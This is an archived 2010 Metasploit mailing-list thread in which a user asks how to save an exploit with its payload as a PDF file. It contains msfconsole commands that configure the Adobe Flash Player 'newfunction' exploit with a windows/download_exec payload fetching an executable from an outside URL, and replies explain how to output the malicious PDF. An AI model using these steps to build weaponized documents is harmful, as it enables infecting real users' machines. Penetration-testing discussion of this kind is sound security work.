Home page logo

metasploit logo Metasploit mailing list archives

Re: How to save exploit+payload to file?
From: polychrom () fastmail fm
Date: Thu, 17 Jun 2010 11:41:13 -0500

exploit/windows/fileformat/adobe_flashplayer_newfunction   --> this
works. Thank you.

DisablePayloadHandler to TRUE --> in which place set this flag? (in
addition to above suggested solution?)


On Thu, 17 Jun 2010 12:15 -0400, "c0lists" <lists () carnal0wnage com>
might need to do the set DisablePayloadHandler to TRUE as well. that
should just output the pdf.


On Thu, Jun 17, 2010 at 11:05 AM,  <egypt () metasploit com> wrote:
Use exploit/windows/fileformat/adobe_flashplayer_newfunction instead
of .../browser/...

Hope this helped,

On Thu, Jun 17, 2010 at 7:32 AM,  <polychrom () fastmail fm> wrote:
Have read manual, but didn't find one thing, how to save exploit with
payload to PDF file? Perhaps I missing something.
Example: CVE10-1297

msf > use exploit/windows/browser/adobe_flashplayer_newfunction
msf > exploit(adobe_flashplayer_newfunction) > set PAYLOAD
PAYLOAD => windows/download_exec
msf > exploit(adobe_flashplayer_newfunction) > set URL
URL => http://domain.com/test.exe

-> next, how to save resulting PDF to file?

There is generate [options] command, but generates not to PDF file, it
prints output on screen in ruby, perl, c, or raw. And only payload
itself, with no connection with specific exploit. Anybody know how to
achieve this?


http://www.fastmail.fm - Does exactly what it says on the tin




http://www.fastmail.fm - Faster than the air-speed velocity of an
                          unladen european swallow


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]